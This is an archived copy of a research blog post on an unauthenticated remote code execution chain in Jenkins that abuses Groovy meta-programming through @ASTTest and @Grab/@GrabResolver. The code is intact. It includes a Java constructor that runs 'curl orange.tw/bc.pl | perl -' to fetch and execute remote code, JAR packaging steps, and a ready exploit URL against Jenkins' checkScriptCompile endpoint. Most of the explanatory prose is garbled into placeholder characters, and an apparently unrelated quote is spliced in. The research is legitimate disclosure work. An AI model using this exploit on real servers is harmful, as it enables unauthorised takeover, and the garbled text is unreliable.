

Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE!

Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE! - d3vc0r3, DEVCORE 0000.

- Published: date not stated
- Original: <<https://devco.re/blog/2019/02/19/hacking-Jenkins-part2-abusing-meta-programming-for-unauthenticated-RCE/>>
- Preserved from: <https://devco.re/blog/2019/02/19/hacking-Jenkins-part2-abusing-meta-programming-for-unauthenticated-RCE/> (live) on 2026-10-02
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so it remains readable if the page goes offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

#Advisory #CVE #RCE

Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE!

** Orange Tsai 2019-02-19

[image: image]

English Version □□□□

□! □□□□□□□□?

Hacking Jenkins

Jenkins

- Hacking Jenkins Part 1 - Play with Dynamic Routing

00000000000000000000000000000000 ACL 000000000000000000000000! 000000000000
 0000000000000000Jenkins 0000000000(Script Console)0000000000! 000000000000 ACL 0000
 000000!

Jenkins 2018-12-05 Security Advisory
Hacking Jenkins(gadget)

🚧 Pipeline Script 🚧(Syntax Error)🚧Jenkins 🚧 Pipeline!
🚧? 🚧(AST, Abstract Syntax Tree)🚧
🚧!

AST execute() Meta-Programming

编译选项

```
template<int n>
struct fib {
    static const int value = fib<n-1>::value + fib<n-2>::value;
};
template<> struct fib<0> { static const int value = 0; };
template<> struct fib<1> { static const int value = 1; };

int main() {
    int a = fib<10>::value; // 55
    int b = fib<20>::value; // 6765
    int c = fib<40>::value; // 102334155
}
```

编译选项

```
$ g++ template.cpp -o template
$ objdump -M intel -d template
...
00000000000005fa <main>:
5fa: 55                push    rbp
5fb: 48 89 e5          mov     rbp, rsp
5fe: c7 45 f4 37 00 00 mov     DWORD PTR [rbp-0xc], 0x37
605: c7 45 f8 6d 1a 00 mov     DWORD PTR [rbp-0x8], 0x1a6d
60c: c7 45 fc cb 7e 19 mov     DWORD PTR [rbp-0x4], 0x6197ecb
613: b8 00 00 00 00    mov     eax, 0x0
618: 5d                pop     rbp
619: c3                ret
61a: 66 0f 1f 44 00 00 nop     WORD PTR [rax+rax*1+0x0]
...
```

编译选项 StackOverflow 编译 Build a Compiler Bomb 编译!

编译

编译选项 Pipeline 编译 Groovy 编译 DSL 编译 Groovy 编译 Meta-Programming 编译
编译! 编译 Groovy 编译 Meta-Programming 编译 编译! 2.1.9 编译
@groovy.transform.ASTTest 编译:

@ASTTest is a special AST transformation meant to help debugging other AST transformations or the Groovy compiler itself. It will let the developer “explore” the AST during compilation and **perform assertions on the AST** rather than on the

result of compilation. This means that this AST transformations gives access to the AST before the bytecode is produced. `@ASTTest` can be placed on any annotable node and requires two parameters:

!! AST assertion? Proof-of-Concept :

```
this.class.classLoader.parseClass(''  
@groovy.transform.ASTTest(value={  
    assert java.lang.Runtime.getRuntime().exec("touch pwned")  
})  
def x  
'');
```

```
$ ls  
poc.groovy  
  
$ groovy poc.groovy  
$ ls  
poc.groovy pwned
```

!! Jenkins :

unable to resolve class org.jenkinsci.plugins.workflow.libs.Library

[image: image]

77!!!

root cause [Pipeline Shared Groovy Libraries Plugin](#) !!
Pipeline Jenkins Pipeline Jenkins Pipeline classPath

Jenkins Plugin Manager [Pipeline Shared Groovy Libraries Plugin](#)

Pipeline Pipeline

[Groovy Meta-Programming](#) @Grab @Grab Google - [Dependency management with Grape!](#)

Grape(@Grab) Groovy JAR classPath Grape :

```
@Grab(group='org.springframework', module='spring-orm', version='3.2.5.RELEASE')
import org.springframework.jdbc.core.JdbcTemplate
```

@@grab @@@@@ Groovy @@@@@@ classPath @@ JAR @@ @@@@@@ Pipeline @
@@@@@ Pipeline @ Sandbox @@@@@@! @@@@@ @adamyordan @@@ PoC@@@@@
@@@@@

@@@@@ execute() @@@@@@? @@@@@@
@@@@@ @GrabResolver @@@@:

```
@GrabResolver(name='restlet', root='http://maven.restlet.org/')
@Grab(group='org.restlet', module='org.restlet', version='1.1.6')
import org.restlet
```

@@@@@ root @@@@@@! @@@@@@!

```
this.class.classLoader.parseClass('''
@GrabResolver(name='restlet', root='http://orange.tw/')
@Grab(group='org.restlet', module='org.restlet', version='1.1.6')
import org.restlet
''')
```

```
11.22.33.44 - - [18/Dec/2018:18:56:54 +0800] "HEAD
/org/restlet/org.restlet/1.1.6/org.restlet-1.1.6-javadoc.jar HTTP/1.1" 404 185 "-"
"Apache Ivy/2.4.0"
```

@@@@@! @@@@@@ Grape @@ Jenkins @@@@@@! @@@@@@?

@@@@@?

@@@@@! @@@@@@ Grape @@@@ JAR @@@@@@
@@@@@ JAR @@? @@@@@@!

@@ Groovy @@@@@@ Grape @@@@@@ groovy.grape.Grapelvy @@@@@@! @@@@@@
@@@@@! @@@@@@ - processOtherServices(...):

```

void processOtherServices(ClassLoader loader, File f) {
    try {
        ZipFile zf = new ZipFile(f)
        ZipEntry serializedCategoryMethods = zf.getEntry("META-INF/services/org.codehaus.groovy.runtime.SerializedCategoryMethods")
        if (serializedCategoryMethods != null) {
            processSerializedCategoryMethods(zf.getInputStream(serializedCategoryMethods))
        }
        ZipEntry pluginRunners = zf.getEntry("META-INF/services/org.codehaus.groovy.plugins.Runners")
        if (pluginRunners != null) {
            processRunners(zf.getInputStream(pluginRunners), f.getName(), loader)
        }
    } catch (ZipException ignore) {
        // ignore files we can't process, e.g. non-jar/zip artifacts
        // TODO log a warning
    }
}

```

JAR 檔案 ZIP 檔案 Grape 檔案 Runner 檔案
 processRunners(...) 檔案:

```

void processRunners(InputStream is, String name, ClassLoader loader) {
    is.text.readLines().each {
        GroovySystem.RUNNER_REGISTRY[name] = loader.loadClass(it.trim()).newInstance()
    }
}

```

newInstance() 檔案 Constructor ? ! JAR 檔案
 META-INF/services/org.codehaus.groovy.plugins.Runners 檔案 Constructor 檔案!

```

public class Orange {
    public Orange(){
        try {
            String payload = "curl orange.tw/bc.pl | perl -";
            String[] cmds = {"/bin/bash", "-c", payload};
            java.lang.Runtime.getRuntime().exec(cmds);
        } catch (Exception e) { }
    }
}

```

```
$ javac Orange.java
$ mkdir -p META-INF/services/
$ echo Orange > META-INF/services/org.codehaus.groovy.plugins.Runners
$ find .
./Orange.java
./Orange.class
./META-INF
./META-INF/services
./META-INF/services/org.codehaus.groovy.plugins.Runners

$ jar cvf poc-1.jar tw/
$ cp poc-1.jar ~/www/tw/orange/poc/1/
$ curl -I http://[your_host]/tw/orange/poc/1/poc-1.jar
HTTP/1.1 200 OK
Date: Sat, 02 Feb 2019 11:10:55 GMT
...
```

PoC:

```
http://jenkins.local/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile
?value=
@GrabConfig(disableChecksums=true)%0a
@GrabResolver(name='orange.tw', root='http://[your_host]/')%0a
@Grab(group='tw.orange', module='poc', version='1')%0a
import Orange;
```

11

11

!!!!!!!!!!!!!!! !! Meta-Programming !!!!!!!!!!!!!!! JAR !!!!!!! Java ! Static
Initializer !!!!!!!!!!!!!!! !! Jenkins !!!!!!! Groovy Sandbox([Script Security Plugin](#))!!!!!!!!!!!!!!
!!!!!!!!!!!!!! Sandbox !!!!!!!!!!!!!!!

I really like Groovy because it's so easy to learn! It's a great language for
 writing scripts and automating tasks. I'm a big fan of Meta-
 Programming! I've used doCheckScriptCompile(...) and toJson(...) many times.
 Mikhail Egorov

Hacking Jenkins Part 1 Overall/Read

!(XD) ? !

Hacking Jenkins

